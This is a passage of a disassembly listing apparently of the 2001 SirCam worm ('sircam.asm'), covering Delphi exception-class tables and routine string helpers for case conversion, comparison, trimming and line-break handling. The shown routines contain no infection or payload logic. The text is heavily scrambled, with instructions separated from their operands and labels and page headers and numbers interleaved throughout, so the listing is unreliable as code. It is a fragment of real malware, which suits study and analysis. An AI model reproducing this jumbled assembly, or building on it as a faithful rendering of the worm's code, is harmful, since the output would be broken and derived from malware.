nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dd 6152450Bh, 4565676Eh, 726F7272h ; DATA XREF: CODE:004064D4\030o ; CODE:004064F4\030o ... dd offset dword_406578 dd 7 dup(0) dd offset dword_406578 dd 10h dd offset off_406424 dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h ; DATA XREF: CODE:0040652C off_406588 dd offset dword_4065D4 dword_4065D4 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd ; CODE:0040654C\030o ... ; DATA XREF: CODE:00406608\031o ; CODE:00406660\031o ... 7 dup(0) offset dword_4065D4 10h offset off_40636C offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 614D450Ah, 72456874h, 90726F72h ; DATA XREF: CODE:00406588\030o ; CODE:004065A8\030o offset dword_40662C 7 dup(0) offset dword_40662C 10h offset off_406588 sircam.asm Fri Aug 10 12:42:44 2001 dword_40662C dd dd dd dd dd dd dd dd dd dword_406684 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dword_4066DC dd dd dd dd dd dd dd dd dd dd dd dd dd dd dword_406734 dd dd dd dd dd dd dd dd dd dd dd dd dd dd off_406740 dword_40678C \030o dd dd dd dd dd dd dd dd dd dd dd dd dd dd 167 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 6E49450Ah, 696C6176h, 90704F64h ; DATA XREF: CODE:004065E0\030o ; CODE:00406600\030o ... offset dword_406684 7 dup(0) offset dword_406684 10h offset off_406588 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 655A450Bh, 69446F72h, 65646976h ; DATA XREF: CODE:00406638\030o ; CODE:00406658\030o ... offset dword_4066DC 7 dup(0) offset dword_4066DC 10h offset off_406588 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 764F4509h, 6C667265h, 0C08B776Fh ; DATA XREF: CODE:00406690\030o ; CODE:004066B0\030o ... offset dword_406734 7 dup(0) offset dword_406734 10h offset off_406588 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 6E55450Ah, 66726564h, 90776F6Ch ; DATA XREF: CODE:004066E8\030o ; CODE:00406708\030o ... offset dword_40678C ; DATA XREF: sub_409B0C+48\031r 7 dup(0) offset dword_40678C 10h offset off_40625C offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset loc_4095DC offset sub_402BCC 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh ; DATA XREF: CODE:00406740 sircam.asm dword_4067E8 \030o off_4067F8 dword_406844 \030o Fri Aug 10 12:42:44 2001 dd dd dd dd dd dd dd dd dd dd dd dd dd dd ; CODE:00406760\030o offset dword_4067E8 7 dup(0) offset dword_4067E8 0Ch offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 6E49450Ch, 696C6176h, 73614364h, 408D74h ; DATA XREF: CODE:0040679C dd offset dword_406844 dd dd dd dd dd dd dd dd dd dd dd dd dd ; CODE:004067BC\030o ... ; DATA XREF: sub_406CBC+7\031r ; sub_406CD4+2D\031r ... 7 dup(0) offset dword_406844 0Ch offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh ; DATA XREF: CODE:004067F8 off_406854 dd offset dword_4068A0 dword_4068A0 dd dd dd dd dd dd dd dd dd dd dd dd dd dword_406900 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 168 ; CODE:00406818\030o ; DATA XREF: sub_409864+122\031r ; sub_409864+17E\031r 7 dup(0) offset dword_4068A0 10h offset off_40636C offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh ; DATA XREF: CODE:00406854\030o ; CODE:00406874\030o ... offset dword_406900 7 dup(0) offset dword_406900 10h offset off_40636C offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 7250450Ah, 6C697669h, 90656765h ; DATA XREF: CODE:004068B4\030o ; CODE:004068D4\030o ... offset dword_406958 7 dup(0) offset dword_406958 10h sircam.asm dword_406958 \030o dword_4069B4 dword_406A0C \030o off_406A1C dword_406A68 off_406A7C Fri Aug 10 12:42:44 2001 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 169 offset off_40636C offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch ; DATA XREF: CODE:0040690C ; CODE:0040692C\030o ... offset dword_4069B4 7 dup(0) offset dword_4069B4 10h offset off_40636C offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 6F434509h, 6F72746Eh, 0C08B436Ch ; DATA XREF: CODE:00406968\030o ; CODE:00406988\030o ... offset dword_406A0C 7 dup(0) offset dword_406A0C 0Ch offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:004069C0 ; CODE:004069E0\030o ... offset dword_406A68 ; DATA XREF: sub_4096CC+72\031r 7 dup(0) offset dword_406A68 0Ch offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h ; DATA XREF: CODE:00406A1C\030o ; CODE:00406A3C\030o ... offset dword_406AC8 ; DATA XREF: sub_4097A4+18\031r 7 dup(0) offset dword_406AC8 0Ch offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 sircam.asm dword_406AC8 \030o dword_406B24 \030o Fri Aug 10 12:42:44 2001 dd offset sub_402B84 dd offset sub_402BCC dd 6241450Eh, 61727473h, 72457463h, 90726F72h ; DATA XREF: CODE:00406A7C dd dd dd dd dd dd dd dd dd dd dd dd dd dd ; CODE:00406A9C\030o offset dword_406B24 7 dup(0) offset dword_406B24 0Ch offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 6E49450Eh, 61436674h, 72457473h, 90726F72h ; DATA XREF: CODE:00406AD8 off_406B34 dd offset dword_406B80 dword_406B80 dd dd dd dd dd dd dd dd dd dd dd dd dd dword_406BD8 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dword_406BF4 off_406BF8 dd dd dd dword_406BFC dd off_406C1C 170 dd dd dd dd dd dd dd dd dd dd dd ; CODE:00406AF8\030o ... ; DATA XREF: sub_40A398+4E\031r ; sub_40A398+62\031r 7 dup(0) offset dword_406B80 10h offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 6957450Bh, 4532336Eh, 726F7272h ; DATA XREF: CODE:00406B34\030o ; CODE:00406B54\030o offset dword_406BD8 7 dup(0) offset dword_406BD8 0Ch offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h ; DATA XREF: CODE:00406B8C\030o ; CODE:00406BAC\030o ... 0FFFFFFFFh, 1 24h ; DATA XREF: DATA:0041C124\031o offset dword_406BFC ; DATA XREF: CODE:00406C72\031o ; sub_40A4BC+3E\031r 41541211h, 76697463h, 72685465h, 41646165h, 79617272h ; DATA XREF: CODE:00406BF8\030o 8, 0, 0FFFFFFFFh offset dword_406C68 ; DATA XREF: CODE:0040E4A8\031o 2 dup(0) offset dword_406C68 4 dup(0) offset dword_406C7A 38h offset off_40100C offset loc_402CA0 offset nullsub_2 offset nullsub_3 sircam.asm Fri Aug 10 12:42:44 2001 dword_406C68 dd dd dd dd dd dd dword_406C7A db dd dd dd offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_40A524 0Eh, 10000h 171 ; DATA XREF: CODE:00406C1C\030o ; CODE:00406C28\030o 2 dup(0) offset off_406BF8 28h 754D5424h, 5269746Ch, 45646165h, 756C6378h, 65766973h ; DATA XREF: CODE:00406C3C\030o dd 74697257h, 6E795365h, 6F726863h, 657A696Eh db 72h, 90h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_406CA0 proc near arg_0 = dword ptr sub_406CA0 push mov push mov mov shr div mov mov mov pop pop retn endp ; CODE XREF: sub_407D30+2B\031p ; sub_407D30+3B\031p ... 8 ebp ebp, esp ebx ebx, edx edx, eax edx, 10h bx ebx, [ebp+arg_0] [ecx], ax [ebx], dx ebx ebp 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_406CBC proc near sub_406CBC push mov mov mov mov call call pop retn endp ; CODE XREF: sub_407CB8+4A\031p ; sub_407E90+45\031p ebx ebx, eax ecx, ebx dl, 1 eax, ds:off_4067F8 sub_409450 sub_402F98 ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_406CD4 proc near var_4 = dword ptr -4 push mov push push push ebp ebp, esp 0 ebx esi ; CODE XREF: sub_407688+4C\031p sircam.asm Fri Aug 10 12:42:44 2001 push mov mov mov xor push push push mov push push lea mov call mov mov mov call call xor pop pop pop mov push edi edi, ecx esi, edx ebx, eax eax, eax ebp offset loc_406D26 dword ptr fs:[eax] fs:[eax], esp esi edi edx, [ebp+var_4] eax, ebx sub_404B80 ecx, [ebp+var_4] dl, 1 eax, ds:off_4067F8 sub_40948C sub_402F98 eax, eax edx ecx ecx fs:[eax], edx offset loc_406D2D loc_406D1D: sub_406CD4 172 ; CODE XREF: CODE:00406D2B\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406D26: ; DATA XREF: sub_406CD4+11\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_406D1D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406D2D: ; DATA XREF: sub_406CD4+44\030o pop edi pop esi pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_406D34 proc near sub_406D34 push push mov mov call mov mov xor mov call mov pop pop retn endp ebx esi ebx, eax eax, ebx sub_402598 esi, eax eax, esi ecx, ecx edx, ebx sub_4028D4 eax, esi esi ebx ; CODE XREF: sub_4149E8+21\031p ; CODE:00414B6C\031p ... sircam.asm Fri Aug 10 12:42:44 2001 173 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_406D54 proc near push push push mov mov mov call mov mov mov call mov mov test jz ebx esi edi edi, edx esi, eax eax, esi sub_403724 ebx, eax eax, edi edx, ebx sub_4039FC edx, esi esi, [edi] ebx, ebx short loc_406D8A mov cmp jb cmp ja sub al, [edx] al, 61h short loc_406D81 al, 7Ah short loc_406D81 al, 20h ; CODE XREF: sub_411E58+4E\031p ; sub_411E58+5F\031p ... loc_406D75: ; CODE XREF: sub_406D54+34\031j loc_406D81: ; CODE XREF: sub_406D54+25\030j ; sub_406D54+29\030j mov inc inc dec test jnz [esi], al edx esi ebx ebx, ebx short loc_406D75 pop pop pop retn endp edi esi ebx loc_406D8A: sub_406D54 ; CODE XREF: sub_406D54+1F\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_406D90 . proc near push push push mov mov mov call mov mov mov call mov mov ebx esi edi edi, edx esi, eax eax, esi sub_403724 ebx, eax eax, edi edx, ebx sub_4039FC edx, esi esi, [edi] ; CODE XREF: sub_41620C+A2\031p start+222\031p .. sircam.asm Fri Aug 10 12:42:44 2001 test jz ebx, ebx short loc_406DC6 mov cmp jb cmp ja add al, [edx] al, 41h short loc_406DBD al, 5Ah short loc_406DBD al, 20h loc_406DB1: ; CODE XREF: sub_406D90+34\031j loc_406DBD: ; CODE XREF: sub_406D90+25\030j ; sub_406D90+29\030j mov inc inc dec test jnz [esi], al edx esi ebx ebx, ebx short loc_406DB1 pop pop pop retn endp edi esi ebx loc_406DC6: sub_406D90 174 ; CODE XREF: sub_406D90+1F\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_406DCC proc near ; CODE XREF: sub_4151E8+EC\031p push esi push edi mov esi, eax mov edi, edx mov edx, ecx xor eax, eax and edx, 3 shr ecx, 1 shr ecx, 1 repe cmpsd jnz short loc_406DE8 mov ecx, edx repe cmpsb jnz short loc_406DE8 inc eax loc_406DE8: sub_406DCC ; CODE XREF: sub_406DCC+13\030j ; sub_406DCC+19\030j pop pop retn endp edi esi ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_406DEC proc near push esi push edi push ebx mov esi, eax mov edi, edx or eax, eax ; CODE XREF: sub_406E40+14\031p sircam.asm Fri Aug 10 12:42:44 2001 jz mov short loc_406DFA eax, [eax-4] or jz mov edx, edx short loc_406E01 edx, [edx-4] mov cmp jbe mov ecx, eax ecx, edx short loc_406E09 ecx, edx cmp ecx, ecx loc_406DFA: 175 ; CODE XREF: sub_406DEC+9\030j loc_406E01: ; CODE XREF: sub_406DEC+10\030j loc_406E09: ; CODE XREF: sub_406DEC+19\030j loc_406E0B: ; CODE XREF: sub_406DEC+45\031j repe cmpsb jz short loc_406E39 mov bl, [esi-1] cmp bl, 61h jb short loc_406E1F cmp bl, 7Ah ja short loc_406E1F sub bl, 20h loc_406E1F: ; CODE XREF: sub_406DEC+29\030j ; sub_406DEC+2E\030j mov cmp jb cmp ja sub bh, [edi-1] bh, 61h short loc_406E2F bh, 7Ah short loc_406E2F bh, 20h loc_406E2F: ; CODE XREF: sub_406DEC+39\030j ; sub_406DEC+3E\030j cmp jz movzx movzx bl, bh short loc_406E0B eax, bl edx, bh sub pop pop pop retn endp eax, edx ebx edi esi loc_406E39: sub_406DEC ; CODE XREF: sub_406DEC+21\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_406E40 proc near cmp jz or jz or jz mov cmp jnz call test ; CODE XREF: sub_40C02C+1B\031p ; sub_40DC7C+64\031p eax, edx short loc_406E5D eax, eax short locret_406E5F edx, edx short loc_406E60 ecx, [eax-4] ecx, [edx-4] short loc_406E60 sub_406DEC eax, eax sircam.asm Fri Aug 10 12:42:44 2001 jnz short loc_406E60 mov al, 1 loc_406E5D: 176 ; CODE XREF: sub_406E40+2\030j locret_406E5F: ; CODE XREF: sub_406E40+6\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406E60: sub_406E40 ; CODE XREF: sub_406E40+A\030j ; sub_406E40+12\030j ... xor retn endp eax, eax ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_406E64 proc near sub_406E64 push push mov mov mov call push mov call push mov call push mov call push push push call sub pop pop retn endp ; CODE XREF: sub_40CCCC+47\031p ; sub_40D498+2D\031p ... ebx esi esi, edx ebx, eax eax, esi sub_403724 eax eax, esi sub_4038E8 eax eax, ebx sub_403724 eax eax, ebx sub_4038E8 eax 1 400h j_CompareStringA eax, 2 esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_406E9C proc near ; CODE XREF: sub_4112E4+4A\031p ; sub_4112E4+6A\031p ... push ebx push esi push edi push ebp mov ebp, edx mov edi, eax mov eax, edi call sub_403724 mov esi, eax mov ebx, 1 jmp short loc_406EB5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406EB4: ; CODE XREF: sub_406E9C+22\031j inc ebx sircam.asm Fri Aug 10 12:42:44 2001 loc_406EB5: cmp jl cmp jbe 177 ; CODE XREF: sub_406E9C+16\030j esi, ebx short loc_406EC0 byte ptr [edi+ebx-1], 20h short loc_406EB4 loc_406EC0: ; CODE XREF: sub_406E9C+1B\030j cmp esi, ebx jge short loc_406ECE mov eax, ebp call sub_4034C8 jmp short loc_406EE4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406ECD: ; CODE XREF: sub_406E9C+37\031j dec esi cmp jbe push mov sub inc mov mov call ; CODE XREF: sub_406E9C+26\030j byte ptr [edi+esi-1], 20h short loc_406ECD ebp ecx, esi ecx, ebx ecx edx, ebx eax, edi sub_40392C loc_406ECE: loc_406EE4: sub_406E9C ; CODE XREF: sub_406E9C+2F\030j pop pop pop pop retn endp ebp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_406EEC proc near ; CODE XREF: sub_417F24+2FB\031p push ebx push esi push edi mov edi, edx mov esi, eax mov eax, esi call sub_403724 mov ebx, eax jmp short loc_406EFF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406EFE: ; CODE XREF: sub_406EEC+1C\031j dec ebx test jle cmp jbe ; CODE XREF: sub_406EEC+10\030j ebx, ebx short loc_406F0A byte ptr [esi+ebx-1], 20h short loc_406EFE push mov mov mov call pop edi ecx, ebx edx, 1 eax, esi sub_40392C edi loc_406EFF: loc_406F0A: ; CODE XREF: sub_406EEC+15\030j sircam.asm sub_406EEC Fri Aug 10 12:42:44 2001 pop pop retn endp 178 esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_406F20 proc near ; CODE XREF: sub_40FCF0+16F\031p push ebx push esi push edi push ebp push ecx mov [esp+0], edx mov ebp, eax mov ebx, ebp mov eax, ebp call sub_403724 mov esi, eax add esi, ebx xor edi, edi cmp esi, ebx jbe short loc_406F70 loc_406F3D: ; CODE XREF: sub_406F20+4E\031j mov al, [ebx] mov edx, eax sub dl, 0Ah jz short loc_406F4D sub dl, 3 jz short loc_406F50 jmp short loc_406F5C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406F4D: ; CODE XREF: sub_406F20+24\030j inc edi jmp short loc_406F6B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406F50: ; CODE XREF: sub_406F20+29\030j cmp byte ptr [ebx+1], 0Ah jnz short loc_406F59 inc ebx jmp short loc_406F6B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406F59: ; CODE XREF: sub_406F20+34\030j inc edi jmp short loc_406F6B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406F5C: and bt jnb inc ; CODE XREF: sub_406F20+2B\030j eax, 0FFh ds:dword_41C104, eax short loc_406F6B ebx loc_406F6B: ; CODE XREF: sub_406F20+2E\030j ; sub_406F20+37\030j ... inc cmp ja ebx esi, ebx short loc_406F3D test jnz edi, edi short loc_406F80 loc_406F70: ; CODE XREF: sub_406F20+1B\030j sircam.asm Fri Aug 10 12:42:44 2001 179 mov eax, [esp+0] mov edx, ebp call sub_40351C jmp short loc_406FE6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406F80: ; CODE XREF: sub_406F20+52\030j mov mov sub add mov xor call mov mov cmp jbe ebx, ebp ecx, esi ecx, ebx ecx, edi eax, [esp+0] edx, edx sub_4035B0 edi, [esp+0] edi, [edi] esi, ebx short loc_406FE6 loc_406F9B: ; CODE XREF: sub_406F20+C4\031j mov al, [ebx] mov edx, eax sub dl, 0Ah jz short loc_406FAB sub dl, 3 jz short loc_406FB6 jmp short loc_406FC7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406FAB: ; CODE XREF: sub_406F20+82\030j mov byte ptr [edi], 0Dh inc edi mov byte ptr [edi], 0Ah inc edi inc ebx jmp short loc_406FE2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406FB6: ; CODE XREF: sub_406F20+87\030j mov byte ptr [edi], 0Dh inc edi mov byte ptr [edi], 0Ah inc edi inc ebx cmp 